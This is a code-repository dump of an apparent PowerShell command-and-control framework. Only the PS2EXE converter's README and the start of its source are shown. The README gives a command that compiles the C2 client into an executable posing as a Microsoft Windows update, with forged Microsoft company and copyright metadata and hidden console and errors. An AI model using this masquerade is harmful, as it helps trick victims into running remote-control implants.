Repository: r00t-3xp10it/meterpeter
Branch: master
Commit: 98477d768d75
Files: 26
Total size: 586.4 KB
Directory structure:
gitextract_79aih8sk/
├── PS2EXE/
│ ├── README.md
│ └── ps2exe.ps1
├── README.md
├── meterpeter.ps1
└── mimiRatz/
├── ACLMitreT1574.ps1
├── C2Prank.ps1
├── CMSTPTrigger.ps1
├── CScrandle_fileless.cs
├── CredsPhish.ps1
├── FWUprank.ps1
├── FindEop.ps1
├── GetBrowsers.ps1
├── GetKerbTix.ps1
├── Invoke-Winget.ps1
├── SendToPasteBin.ps1
├── SuperHidden.ps1
├── UACeop.ps1
├── Update-FileLess.bat
├── Update-KB5005101.bat
├── keymanager.ps1
├── mscore.ps1
├── shorturl.ps1
├── theme/
│ ├── Update-KB5005101.html
│ └── banner.mp
├── update.hta
└── update.ps1
================================================
FILE CONTENTS
================================================
================================================
FILE: PS2EXE/README.md
================================================
### ⚙️ PS2EXE BY: Ingo Karstein | MScholtes
- Description: Script to convert powershell scripts to standalone executables
- Source :https://gallery.technet.microsoft.com/scriptcenter/PS2EXE-GUI-Convert-e7cb69d5
`meterpeter users can use this script (manually) to convert the Client.ps1 to Client.exe`
- 1º - Copy **`'Update-KB4524147.ps1'`** build by meterpeter C2 to **`'PS2EXE'`** directory.
- 2º - Open Powershell terminal console in **`'PS2EXE'`** directory (none admin privs required)
- 3º - Execute the follow command to convert the Client.ps1 to standalone executable
```
.\ps2exe.ps1 -inputFile 'Update-KB4524147.ps1' -outputFile 'Update-KB4524147.exe' -iconFile 'meterpeter.ico' -title 'meterpeter binary file' -version '2.10.6' -description 'meterpeter binary file' -product 'meterpeter C2 Client' -company 'Microsoft Corporation' -copyright '©Microsoft Corporation. All Rights Reserved' -noConsole -noVisualStyles -noError
```

**`REMARK:`** Client.exe (created by PS2EXEC) migth **malfunction** with meterpeter **mimiratz scripts**.
---
**Syntax:**
```
ps2exe.ps1 [-inputFile] '' [[-outputFile] ''] [-verbose]
[-debug] [-runtime20|-runtime40] [-lcid ] [-x86|-x64] [-STA|-MTA] [-noConsole]
[-credentialGUI] [-iconFile ''] [-title ''] [-description '']
[-company ''] [-product ''] [-copyright ''] [-trademark '']
[-version ''] [-configFile] [-noOutput] [-noError] [-noVisualStyles] [-requireAdmin]
[-supportOS] [-virtualize] [-longPaths]
inputFile = Powershell script that you want to convert to executable
outputFile = destination executable file name, defaults to inputFile with extension '.exe'
runtime20 = this switch forces PS2EXE to create a config file for the generated executable that contains the
"supported .NET Framework versions" setting for .NET Framework 2.0/3.x for PowerShell 2.0
runtime40 = this switch forces PS2EXE to create a config file for the generated executable that contains the
"supported .NET Framework versions" setting for .NET Framework 4.x for PowerShell 3.0 or higher
x86 or x64 = compile for 32-bit or 64-bit runtime only
lcid = location ID for the compiled executable. Current user culture if not specified
STA or MTA = 'Single Thread Apartment' or 'Multi Thread Apartment' mode
noConsole = the resulting executable will be a Windows Forms app without a console window
credentialGUI = use GUI for prompting credentials in console mode
iconFile = icon file name for the compiled executable
title = title information (displayed in details tab of Windows Explorer's properties dialog)
description = description information (not displayed, but embedded in executable)
company = company information (not displayed, but embedded in executable)
product = product information (displayed in details tab of Windows Explorer's properties dialog)
copyright = copyright information (displayed in details tab of Windows Explorer's properties dialog)
trademark = trademark information (displayed in details tab of Windows Explorer's properties dialog)
version = version information (displayed in details tab of Windows Explorer's properties dialog)
configFile = write config file (.exe.config)
noOutput = the resulting executable will generate no standard output (includes verbose and information channel)
noError = the resulting executable will generate no error output (includes warning and debug channel)
noVisualStyles = disable visual styles for a generated windows GUI application (only with -noConsole)
requireAdmin = if UAC is enabled, compiled executable run only in elevated context (UAC dialog appears if required)
supportOS = use functions of newest Windows versions (execute [Environment]::OSVersion to see the difference)
virtualize = application virtualization is activated (forcing x86 runtime)
longPaths = enable long paths ( > 260 characters) if enabled on OS (works only with Windows 10)
```
================================================
FILE: PS2EXE/ps2exe.ps1
================================================
<#
.SYNOPSIS
Converts powershell scripts to standalone executables.
.DESCRIPTION
Converts powershell scripts to standalone executables. GUI output and input is activated with one switch,
real windows executables are generated. You may use the graphical front end Win-PS2EXE for convenience.
Please see Remarks on project page for topics "GUI mode output formatting", "Config files", "Password security",
"Script variables" and "Window in background in -noConsole mode".
A generated executables has the following reserved parameters:
-debug Forces the executable to be debugged. It calls "System.Diagnostics.Debugger.Break()".
-extract: Extracts the powerShell script inside the executable and saves it as FILENAME. The script will not be executed.
-wait At the end of the script execution it writes "Hit any key to exit..." and waits for a key to be pressed.
-end All following options will be passed to the script inside the executable. All preceding options are used by the executable itself.
.PARAMETER inputFile
Powershell script to convert to executable
.PARAMETER outputFile
destination executable file name, defaults to inputFile with extension '.exe'
.PARAMETER runtime20
this switch forces PS2EXE to create a config file for the generated executable that contains the "supported .NET Framework versions" setting for .NET Framework 2.0/3.x for PowerShell 2.0
.PARAMETER runtime40
this switch forces PS2EXE to create a config file for the generated executable that contains the "supported .NET Framework versions" setting for .NET Framework 4.x for PowerShell 3.0 or higher
.PARAMETER x86
compile for 32-bit runtime only
.PARAMETER x64
compile for 64-bit runtime only
.PARAMETER lcid
location ID for the compiled executable. Current user culture if not specified
.PARAMETER STA
Single Thread Apartment mode
.PARAMETER MTA
Multi Thread Apartment mode
.PARAMETER nested
internal use
.PARAMETER noConsole
the resulting executable will be a Windows Forms app without a console window. You might want to pipe your output to Out-String to prevent a message box for every line of output (example: dir C:\ | Out-String)
.PARAMETER credentialGUI
use GUI for prompting credentials in console mode instead of console input
.PARAMETER iconFile
icon file name for the compiled executable
.PARAMETER title
title information (displayed in details tab of Windows Explorer's properties dialog)
.PARAMETER description
description information (not displayed, but embedded in executable)
.PARAMETER company
company information (not displayed, but embedded in executable)
.PARAMETER product
product information (displayed in details tab of Windows Explorer's properties dialog)
.PARAMETER copyright
copyright information (displayed in details tab of Windows Explorer's properties dialog)
.PARAMETER trademark
trademark information (displayed in details tab of Windows Explorer's properties dialog)
.PARAMETER version
version information (displayed in details tab of Windows Explorer's properties dialog)
.PARAMETER configFile
write a config file (.exe.config)
.PARAMETER noConfigFile
compatibility parameter
.PARAMETER noOutput
the resulting executable will generate no standard output (includes verbose and information channel)
.PARAMETER noError
the resulting executable will generate no error output (includes warning and debug channel)
.PARAMETER noVisualStyles
disable visual styles for a generated windows GUI application. Only applicable with parameter -noConsole
.PARAMETER requireAdmin
if UAC is enabled, compiled executable will run only in elevated context (UAC dialog appears if required)
.PARAMETER supportOS
use functions of newest Windows versions (execute [Environment]::OSVersion to see the difference)
.PARAMETER virtualize
application virtualization is activated (forcing x86 runtime)
.PARAMETER longPaths
enable long paths ( > 260 characters) if enabled on OS (works only with Windows 10)
.EXAMPLE
ps2exe.ps1 C:\Data\MyScript.ps1
Compiles C:\Data\MyScript.ps1 to C:\Data\MyScript.exe as console executable
.EXAMPLE
ps2exe.ps1 -inputFile C:\Data\MyScript.ps1 -outputFile C:\Data\MyScriptGUI.exe -iconFile C:\Data\Icon.ico -noConsole -title "MyScript" -version 0.0.0.1
Compiles C:\Data\MyScript.ps1 to C:\Data\MyScriptGUI.exe as graphical executable, icon and meta data
.NOTES
Version: 0.5.0.21
Date: 2020-07-10
Author: Ingo Karstein, Markus Scholtes
.LINK
https://gallery.technet.microsoft.com/PS2EXE-GUI-Convert-e7cb69d5
#>
Param([STRING]$inputFile = $NULL, [STRING]$outputFile = $NULL, [SWITCH]$verbose, [SWITCH]$debug, [SWITCH]$runtime20, [SWITCH]$runtime40,
[SWITCH]$x86, [SWITCH]$x64, [int]$lcid, [SWITCH]$STA, [SWITCH]$MTA, [SWITCH]$nested, [SWITCH]$noConsole, [SWITCH]$credentialGUI,
[STRING]$iconFile = $NULL, [STRING]$title, [STRING]$description, [STRING]$company, [STRING]$product, [STRING]$copyright, [STRING]$trademark,
[STRING]$version, [SWITCH]$configFile, [SWITCH]$noConfigFile, [SWITCH]$noOutput, [SWITCH]$noError, [SWITCH]$noVisualStyles, [SWITCH]$requireAdmin,
[SWITCH]$supportOS, [SWITCH]$virtualize, [SWITCH]$longPaths)
<################################################################################>
<## ##>
<## PS2EXE-GUI v0.5.0.21 ##>
<## Written by: Ingo Karstein (http://blog.karstein-consulting.com) ##>
<## Reworked and GUI support by Markus Scholtes ##>
<## ##>
<## This script is released under Microsoft Public Licence ##>
<## that can be downloaded here: ##>
<## http://www.microsoft.com/opensource/licenses.mspx#Ms-PL ##>
<## ##>
<################################################################################>
if (!$nested)
{
Write-Output " PS2EXE - v0.5.0.21 by Ingo Karstein, reworked and GUI support by Markus Scholtes"
}
else
{
Write-Output "PowerShell 2.0 environment started..."
}
if ([STRING]::IsNullOrEmpty($inputFile))
{
Write-Output "Usage:`n"
Write-Output "powershell.exe -command ""&'.\ps2exe.ps1' [-inputFile] '' [[-outputFile] ''] [-verbose]"
Write-Output " [-debug] [-runtime20|-runtime40] [-x86|-x64] [-lcid ] [-STA|-MTA] [-noConsole]"
Write-Output " [-credentialGUI] [-iconFile ''] [-title ''] [-description '']"
Write-Output " [-company ''] [-product ''] [-copyright ''] [-trademark '']"
Write-Output " [-version ''] [-configFile] [-noOutput] [-noError] [-noVisualStyles] [-requireAdmin]"
Write-Output " [-supportOS] [-virtualize] [-longPaths]""`n"
Write-Output " inputFile = Powershell script that you want to convert to executable"
Write-Output " outputFile = destination executable file name, defaults to inputFile with extension '.exe'"
Write-Output " runtime20 = this switch forces PS2EXE to create a config file for the generated executable that contains the"
Write-Output " ""supported .NET Framework versions"" setting for .NET Framework 2.0/3.x for PowerShell 2.0"
Write-Output " runtime40 = this switch forces PS2EXE to create a config file for the generated executable that contains the"
Write-Output " ""supported .NET Framework versions"" setting for .NET Framework 4.x for PowerShell 3.0 or higher"
Write-Output " x86 or x64 = compile for 32-bit or 64-bit runtime only"
Write-Output " lcid = location ID for the compiled executable. Current user culture if not specified"
Write-Output " STA or MTA = 'Single Thread Apartment' or 'Multi Thread Apartment' mode"
Write-Output " noConsole = the resulting executable will be a Windows Forms app without a console window"
Write-Output " credentialGUI = use GUI for prompting credentials in console mode"
Write-Output " iconFile = icon file name for the compiled executable"
Write-Output " title = title information (displayed in details tab of Windows Explorer's properties dialog)"
Write-Output " description = description information (not displayed, but embedded in executable)"
Write-Output " company = company information (not displayed, but embedded in executable)"
Write-Output " product = product information (displayed in details tab of Windows Explorer's properties dialog)"
Write-Output " copyright = copyright information (displayed in details tab of Windows Explorer's properties dialog)"
Write-Output " trademark = trademark information (displayed in details tab of Windows Explorer's properties dialog)"
Write-Output " version = version information (displayed in details tab of Windows Explorer's properties dialog)"
Write-Output " configFile = write a config file (.exe.config)"
Write-Output " noOutput = the resulting executable will generate no standard output (includes verbose and information channel)"
Write-Output " noError = the resulting executable will generate no error output (includes warning and debug channel)"
Write-Output "noVisualStyles = disable visual styles for a generated windows GUI application (only with -noConsole)"
Write-Output " requireAdmin = if UAC is enabled, compiled executable run only in elevated context (UAC dialog appears if required)"
Write-Output " supportOS = use functions of newest Windows versions (execute [Environment]::OSVersion to see the difference)"
Write-Output " virtualize = application virtualization is activated (forcing x86 runtime)"
Write-Output " longPaths = enable long paths ( > 260 characters) if enabled on OS (works only with Windows 10)`n"
Write-Output "Input file not specified!"
exit -1
}
$psversion = 0
if ($PSVersionTable.PSVersion.Major -ge 4)
{
$psversion = 4
#Write-Output "You are using PowerShell 4.0 or above."
}
if ($PSVersionTable.PSVersion.Major -eq 3)
{
$psversion = 3
Write-Output "You are using PowerShell 3.0."
}
if ($PSVersionTable.PSVersion.Major -eq 2)
{
$psversion = 2
Write-Output "You are using PowerShell 2.0."
}
if ($psversion -eq 0)
{
Write-Error "The powershell version is unknown!"
exit -1
}
# retrieve absolute paths independent if path is given relative oder absolute
$inputFile = $ExecutionContext.SessionState.Path.GetUnresolvedProviderPathFromPSPath($inputFile)
if ([STRING]::IsNullOrEmpty($outputFile))
{
$outputFile = ([System.IO.Path]::Combine([System.IO.Path]::GetDirectoryName($inputFile), [System.IO.Path]::GetFileNameWithoutExtension($inputFile)+".exe"))
}
else
{
$outputFile = $ExecutionContext.SessionState.Path.GetUnresolvedProviderPathFromPSPath($outputFile)
}
if (!(Test-Path $inputFile -PathType Leaf))
{
Write-Error " Input file => $($inputfile) not found!"
exit -1
}
if ($inputFile -eq $outputFile)
{
Write-Error " Input file is identical to output file!"
exit -1
}
if (($outputFile -notlike "*.exe") -and ($outputFile -notlike "*.com"))
{
Write-Error "Output file must have extension '.exe' or '.com'!"
exit -1
}
if (!([STRING]::IsNullOrEmpty($iconFile)))
{
# retrieve absolute path independent if path is given relative oder absolute
$iconFile = $ExecutionContext.SessionState.Path.GetUnresolvedProviderPathFromPSPath($iconFile)
if (!(Test-Path $iconFile -PathType Leaf))
{
Write-Error "Icon file $($iconFile) not found!"
exit -1
}
}
if ($requireAdmin -and $virtualize)
{
Write-Error "-requireAdmin cannot be combined with -virtualize"
exit -1
}
if ($supportOS -and $virtualize)
{
Write-Error "-supportOS cannot be combined with -virtualize"
exit -1
}
if ($longPaths -and $virtualize)
{
Write-Error "-longPaths cannot be combined with -virtualize"
exit -1
}
if ($runtime20 -and $runtime40)
{
Write-Error "You cannot use switches -runtime20 and -runtime40 at the same time!"
exit -1
}
if (!$runtime20 -and !$runtime40)
{
if ($psversion -eq 4)
{
$runtime40 = $TRUE
}
elseif ($psversion -eq 3)
{
$runtime40 = $TRUE
}
else
{
$runtime20 = $TRUE
}
}
if ($runtime20 -and $longPaths)
{
Write-Error "Long paths are only available with .Net 4"
exit -1
}
$CFGFILE = $FALSE
if ($configFile)
{ $CFGFILE = $TRUE
if ($noConfigFile)
{
Write-Error "-configFile cannot be combined with -noConfigFile"
exit -1
}
}
if (!$CFGFILE -and $longPaths)
{
Write-Warning "Forcing generation of a config file, since the option -longPaths requires this"
$CFGFILE = $TRUE
}
if ($STA -and $MTA)
{
Write-Error "You cannot use switches -STA and -MTA at the same time!"
exit -1
}
if ($psversion -ge 3 -and $runtime20)
{
Write-Output "To create an EXE file for PowerShell 2.0 on PowerShell 3.0 or above this script now launches PowerShell 2.0...`n"
$arguments = "-inputFile '$($inputFile)' -outputFile '$($outputFile)' -nested "
if ($verbose) { $arguments += "-verbose "}
if ($debug) { $arguments += "-debug "}
if ($runtime20) { $arguments += "-runtime20 "}
if ($x86) { $arguments += "-x86 "}
if ($x64) { $arguments += "-x64 "}
if ($lcid) { $arguments += "-lcid $lcid "}
if ($STA) { $arguments += "-STA "}
if ($MTA) { $arguments += "-MTA "}
if ($noConsole) { $arguments += "-noConsole "}
if (!([STRING]::IsNullOrEmpty($iconFile))) { $arguments += "-iconFile '$($iconFile)' "}
if (!([STRING]::IsNullOrEmpty($title))) { $arguments += "-title '$($title)' "}
if (!([STRING]::IsNullOrEmpty($description))) { $arguments += "-description '$($description)' "}
if (!([STRING]::IsNullOrEmpty($company))) { $arguments += "-company '$($company)' "}
if (!([STRING]::IsNullOrEmpty($product))) { $arguments += "-product '$($product)' "}
if (!([STRING]::IsNullOrEmpty($copyright))) { $arguments += "-copyright '$($copyright)' "}
if (!([STRING]::IsNullOrEmpty($trademark))) { $arguments += "-trademark '$($trademark)' "}
if (!([STRING]::IsNullOrEmpty($version))) { $arguments += "-version '$($version)' "}
if ($noOutput) { $arguments += "-noOutput "}
if ($noError) { $arguments += "-noError "}
if ($requireAdmin) { $arguments += "-requireAdmin "}
if ($virtualize) { $arguments += "-virtualize "}
if ($credentialGUI) { $arguments += "-credentialGUI "}
if ($supportOS) { $arguments += "-supportOS "}
if ($configFile) { $arguments += "-configFile "}
if ($noConfigFile) { $arguments += "-noConfigFile "}
if ($MyInvocation.MyCommand.CommandType -eq "ExternalScript")
{ # ps2exe.ps1 is running (script)
$jobScript = @"
."$($PSHOME)\powershell.exe" -version 2.0 -command "&'$($MyInvocation.MyCommand.Path)' $($arguments)"
"@
}
else
{ # ps2exe.exe is running (compiled script)
Write-Warning "The parameter -runtime20 is not supported for compiled ps2exe.ps1 scripts."
Write-Warning "Compile ps2exe.ps1 with parameter -runtime20 and call the generated executable (without -runtime20)."
exit -1
}
Invoke-Expression $jobScript
exit 0
}
if ($psversion -lt 3 -and $runtime40)
{
Write-Error "You need to run ps2exe in an Powershell 3.0 or higher environment to use parameter -runtime40"
exit -1
}
if ($psversion -lt 3 -and !$MTA -and !$STA)
{
# Set default apartment mode for powershell version if not set by parameter
$MTA = $TRUE
}
if ($psversion -ge 3 -and !$MTA -and !$STA)
{
# Set default apartment mode for powershell version if not set by parameter
$STA = $TRUE
}
# escape escape sequences in version info
$title = $title -replace "\\", "\\"
$product = $product -replace "\\", "\\"
$copyright = $copyright -replace "\\", "\\"
$trademark = $trademark -replace "\\", "\\"
$description = $description -replace "\\", "\\"
$company = $company -replace "\\", "\\"
if (![STRING]::IsNullOrEmpty($version))
{ # check for correct version number information
if ($version -notmatch "(^\d+\.\d+\.\d+\.\d+$)|(^\d+\.\d+\.\d+$)|(^\d+\.\d+$)|(^\d+$)")
{
Write-Error "Version number has to be supplied in the form n.n.n.n, n.n.n, n.n or n (with n as number)!"
exit -1
}
}
Write-Output ""
$type = ('System.Collections.Generic.Dictionary`2') -as "Type"
$type = $type.MakeGenericType( @( ("System.String" -as "Type"), ("system.string" -as "Type") ) )
$o = [Activator]::CreateInstance($type)
$compiler20 = $FALSE
if ($psversion -eq 3 -or $psversion -eq 4)
{
$o.Add("CompilerVersion", "v4.0")
}
else
{
if (Test-Path ("$ENV:WINDIR\Microsoft.NET\Framework\v3.5\csc.exe"))
{ $o.Add("CompilerVersion", "v3.5") }
else
{
Write-Warning "No .Net 3.5 compiler found, using .Net 2.0 compiler."
Write-Warning "Therefore some methods are not available!"
$compiler20 = $TRUE
$o.Add("CompilerVersion", "v2.0")
}
}
$referenceAssembies = @("System.dll")
if (!$noConsole)
{
if ([System.AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.ManifestModule.Name -ieq "Microsoft.PowerShell.ConsoleHost.dll" })
{
$referenceAssembies += ([System.AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.ManifestModule.Name -ieq "Microsoft.PowerShell.ConsoleHost.dll" } | Select-Object -First 1).Location
}
}
$referenceAssembies += ([System.AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.ManifestModule.Name -ieq "System.Management.Automation.dll" } | Select-Object -First 1).Location
if ($runtime40)
{
$n = New-Object System.Reflection.AssemblyName("System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089")
[System.AppDomain]::CurrentDomain.Load($n) | Out-Null
$referenceAssembies += ([System.AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.ManifestModule.Name -ieq "System.Core.dll" } | Select-Object -First 1).Location
}
if ($noConsole)
{
$n = New-Object System.Reflection.AssemblyName("System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089")
if ($runtime40)
{
$n = New-Object System.Reflection.AssemblyName("System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089")
}
[System.AppDomain]::CurrentDomain.Load($n) | Out-Null
$n = New-Object System.Reflection.AssemblyName("System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a")
if ($runtime40)
{
$n = New-Object System.Reflection.AssemblyName("System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a")
}
[System.AppDomain]::CurrentDomain.Load($n) | Out-Null
$referenceAssembies += ([System.AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.ManifestModule.Name -ieq "System.Windows.Forms.dll" } | Select-Object -First 1).Location
$referenceAssembies += ([System.AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.ManifestModule.Name -ieq "System.Drawing.dll" } | Select-Object -First 1).Location
}
$platform = "anycpu"
if ($x64 -and !$x86) { $platform = "x64" } else { if ($x86 -and !$x64) { $platform = "x86" }}
$cop = (New-Object Microsoft.CSharp.CSharpCodeProvider($o))
$cp = New-Object System.CodeDom.Compiler.CompilerParameters($referenceAssembies, $outputFile)
$cp.GenerateInMemory = $FALSE
$cp.GenerateExecutable = $TRUE
$iconFileParam = ""
if (!([STRING]::IsNullOrEmpty($iconFile)))
{
$iconFileParam = "`"/win32icon:$($iconFile)`""
}
$manifestParam = ""
if ($requireAdmin -or $supportOS -or $longPaths)
{
$manifestParam = "`"/win32manifest:$($outputFile+".win32manifest")`""
$win32manifest = "`r`n`r`n"
if ($longPaths)
{
$win32manifest += "`r`n`r`ntrue `r`n `r`n `r`n"
}
if ($requireAdmin)
{
$win32manifest += "`r`n`r`n`r`n `r`n `r`n `r`n `r`n"
}
if ($supportOS)
{
$win32manifest += "`r`n`r`n `r`n `r`n `r`n `r`n `r`n `r`n `r`n"
}
$win32manifest += " "
$win32manifest | Set-Content ($outputFile+".win32manifest") -Encoding UTF8
}
if (!$virtualize)
{ $cp.CompilerOptions = "/platform:$($platform) /target:$( if ($noConsole){'winexe'}else{'exe'}) $($iconFileParam) $($manifestParam)" }
else
{
Write-Output "Application virtualization is activated, forcing x86 platfom."
$cp.CompilerOptions = "/platform:x86 /target:$( if ($noConsole) { 'winexe' } else { 'exe' } ) /nowin32manifest $($iconFileParam)"
}
$cp.IncludeDebugInformation = $debug
if ($debug)
{
$cp.TempFiles.KeepFiles = $TRUE
}
If($inputFile -match 'meterpeter'){$parsingPath = $inputFile -replace '\\PS2EXE',''}else{$parsingPath = $inputFile}
Write-Output " Input file => $parsingPath"
$content = Get-Content -LiteralPath $inputFile -Encoding UTF8 -ErrorAction SilentlyContinue
if ([STRING]::IsNullOrEmpty($content))
{
Write-Error "No data found. May be read error or file protected."
exit -2
}
$scriptInp = [STRING]::Join("`r`n", $content)
$script = [System.Convert]::ToBase64String(([System.Text.Encoding]::UTF8.GetBytes($scriptInp)))
$culture = ""
if ($lcid)
{
$culture = @"
System.Threading.Thread.CurrentThread.CurrentCulture = System.Globalization.CultureInfo.GetCultureInfo($lcid);
System.Threading.Thread.CurrentThread.CurrentUICulture = System.Globalization.CultureInfo.GetCultureInfo($lcid);
"@
}
$programFrame = @"
// Simple PowerShell host created by Ingo Karstein (http://blog.karstein-consulting.com) for PS2EXE
// Reworked and GUI support by Markus Scholtes
using System;
using System.Collections.Generic;
using System.Text;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using PowerShell = System.Management.Automation.PowerShell;
using System.Globalization;
using System.Management.Automation.Host;
using System.Security;
using System.Reflection;
using System.Runtime.InteropServices;
$(if ($noConsole) {@"
using System.Windows.Forms;
using System.Drawing;
"@ })
[assembly:AssemblyTitle("$title")]
[assembly:AssemblyProduct("$product")]
[assembly:AssemblyCopyright("$copyright")]
[assembly:AssemblyTrademark("$trademark")]
$(if (![STRING]::IsNullOrEmpty($version)) {@"
[assembly:AssemblyVersion("$version")]
[assembly:AssemblyFileVersion("$version")]
"@ })
// not displayed in details tab of properties dialog, but embedded to file
[assembly:AssemblyDescription("$description")]
[assembly:AssemblyCompany("$company")]
namespace ik.PowerShell
{
$(if ($noConsole -or $credentialGUI) {@"
internal class CredentialForm
{
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
private struct CREDUI_INFO
{
public int cbSize;
public IntPtr hwndParent;
public string pszMessageText;
public string pszCaptionText;
public IntPtr hbmBanner;
}
[Flags]
enum CREDUI_FLAGS
{
INCORRECT_PASSWORD = 0x1,
DO_NOT_PERSIST = 0x2,
REQUEST_ADMINISTRATOR = 0x4,
EXCLUDE_CERTIFICATES = 0x8,
REQUIRE_CERTIFICATE = 0x10,
SHOW_SAVE_CHECK_BOX = 0x40,
ALWAYS_SHOW_UI = 0x80,
REQUIRE_SMARTCARD = 0x100,
PASSWORD_ONLY_OK = 0x200,
VALIDATE_USERNAME = 0x400,
COMPLETE_USERNAME = 0x800,
PERSIST = 0x1000,
SERVER_CREDENTIAL = 0x4000,
EXPECT_CONFIRMATION = 0x20000,
GENERIC_CREDENTIALS = 0x40000,
USERNAME_TARGET_CREDENTIALS = 0x80000,
KEEP_USERNAME = 0x100000,
}
public enum CredUIReturnCodes
{
NO_ERROR = 0,
ERROR_CANCELLED = 1223,
ERROR_NO_SUCH_LOGON_SESSION = 1312,
ERROR_NOT_FOUND = 1168,
ERROR_INVALID_ACCOUNT_NAME = 1315,
ERROR_INSUFFICIENT_BUFFER = 122,
ERROR_INVALID_PARAMETER = 87,
ERROR_INVALID_FLAGS = 1004,
}
[DllImport("credui", CharSet = CharSet.Unicode)]
private static extern CredUIReturnCodes CredUIPromptForCredentials(ref CREDUI_INFO creditUR,
string targetName,
IntPtr reserved1,
int iError,
StringBuilder userName,
int maxUserName,
StringBuilder password,
int maxPassword,
[MarshalAs(UnmanagedType.Bool)] ref bool pfSave,
CREDUI_FLAGS flags);
public class UserPwd
{
public string User = string.Empty;
public string Password = string.Empty;
public string Domain = string.Empty;
}
internal static UserPwd PromptForPassword(string caption, string message, string target, string user, PSCredentialTypes credTypes, PSCredentialUIOptions options)
{
// Flags und Variablen initialisieren
StringBuilder userPassword = new StringBuilder(), userID = new StringBuilder(user, 128);
CREDUI_INFO credUI = new CREDUI_INFO();
if (!string.IsNullOrEmpty(message)) credUI.pszMessageText = message;
if (!string.IsNullOrEmpty(caption)) credUI.pszCaptionText = caption;
credUI.cbSize = Marshal.SizeOf(credUI);
bool save = false;
CREDUI_FLAGS flags = CREDUI_FLAGS.DO_NOT_PERSIST;
if ((credTypes & PSCredentialTypes.Generic) == PSCredentialTypes.Generic)
{
flags |= CREDUI_FLAGS.GENERIC_CREDENTIALS;
if ((options & PSCredentialUIOptions.AlwaysPrompt) == PSCredentialUIOptions.AlwaysPrompt)
{
flags |= CREDUI_FLAGS.ALWAYS_SHOW_UI;
}
}
// den Benutzer nach Kennwort fragen, grafischer Prompt
CredUIReturnCodes returnCode = CredUIPromptForCredentials(ref credUI, target, IntPtr.Zero, 0, userID, 128, userPassword, 128, ref save, flags);
if (returnCode == CredUIReturnCodes.NO_ERROR)
{
UserPwd ret = new UserPwd();
ret.User = userID.ToString();
ret.Password = userPassword.ToString();
ret.Domain = "";
return ret;
}
return null;
}
}
"@ })
internal class PS2EXEHostRawUI : PSHostRawUserInterface
{
$(if ($noConsole){ @"
// Speicher für Konsolenfarben bei GUI-Output werden gelesen und gesetzt, aber im Moment nicht genutzt (for future use)
private ConsoleColor ncBackgroundColor = ConsoleColor.White;
private ConsoleColor ncForegroundColor = ConsoleColor.Black;
"@ } else {@"
const int STD_OUTPUT_HANDLE = -11;
//CHAR_INFO struct, which was a union in the old days
// so we want to use LayoutKind.Explicit to mimic it as closely
// as we can
[StructLayout(LayoutKind.Explicit)]
public struct CHAR_INFO
{
[FieldOffset(0)]
internal char UnicodeChar;
[FieldOffset(0)]
internal char AsciiChar;
[FieldOffset(2)] //2 bytes seems to work properly
internal UInt16 Attributes;
}
//COORD struct
[StructLayout(LayoutKind.Sequential)]
public struct COORD
{
public short X;
public short Y;
}
//SMALL_RECT struct
[StructLayout(LayoutKind.Sequential)]
public struct SMALL_RECT
{
public short Left;
public short Top;
public short Right;
public short Bottom;
}
/* Reads character and color attribute data from a rectangular block of character cells in a console screen buffer,
and the function writes the data to a rectangular block at a specified location in the destination buffer. */
[DllImport("kernel32.dll", EntryPoint = "ReadConsoleOutputW", CharSet = CharSet.Unicode, SetLastError = true)]
internal static extern bool ReadConsoleOutput(
IntPtr hConsoleOutput,
/* This pointer is treated as the origin of a two-dimensional array of CHAR_INFO structures
whose size is specified by the dwBufferSize parameter.*/
[MarshalAs(UnmanagedType.LPArray), Out] CHAR_INFO[,] lpBuffer,
COORD dwBufferSize,
COORD dwBufferCoord,
ref SMALL_RECT lpReadRegion);
/* Writes character and color attribute data to a specified rectangular block of character cells in a console screen buffer.
The data to be written is taken from a correspondingly sized rectangular block at a specified location in the source buffer */
[DllImport("kernel32.dll", EntryPoint = "WriteConsoleOutputW", CharSet = CharSet.Unicode, SetLastError = true)]
internal static extern bool WriteConsoleOutput(
IntPtr hConsoleOutput,
/* This pointer is treated as the origin of a two-dimensional array of CHAR_INFO structures
whose size is specified by the dwBufferSize parameter.*/
[MarshalAs(UnmanagedType.LPArray), In] CHAR_INFO[,] lpBuffer,
COORD dwBufferSize,
COORD dwBufferCoord,
ref SMALL_RECT lpWriteRegion);
/* Moves a block of data in a screen buffer. The effects of the move can be limited by specifying a clipping rectangle, so
the contents of the console screen buffer outside the clipping rectangle are unchanged. */
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool ScrollConsoleScreenBuffer(
IntPtr hConsoleOutput,
[In] ref SMALL_RECT lpScrollRectangle,
[In] ref SMALL_RECT lpClipRectangle,
COORD dwDestinationOrigin,
[In] ref CHAR_INFO lpFill);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr GetStdHandle(int nStdHandle);
"@ })
public override ConsoleColor BackgroundColor
{
$(if (!$noConsole){ @"
get
{
return Console.BackgroundColor;
}
set
{
Console.BackgroundColor = value;
}
"@ } else {@"
get
{
return ncBackgroundColor;
}
set
{
ncBackgroundColor = value;
}
"@ })
}
public override System.Management.Automation.Host.Size BufferSize
{
get
{
$(if (!$noConsole){ @"
if (ConsoleInfo.IsOutputRedirected())
// return default value for redirection. If no valid value is returned WriteLine will not be called
return new System.Management.Automation.Host.Size(120, 50);
else
return new System.Management.Automation.Host.Size(Console.BufferWidth, Console.BufferHeight);
"@ } else {@"
// return default value for Winforms. If no valid value is returned WriteLine will not be called
return new System.Management.Automation.Host.Size(120, 50);
"@ })
}
set
{
$(if (!$noConsole){ @"
Console.BufferWidth = value.Width;
Console.BufferHeight = value.Height;
"@ })
}
}
public override Coordinates CursorPosition
{
get
{
$(if (!$noConsole){ @"
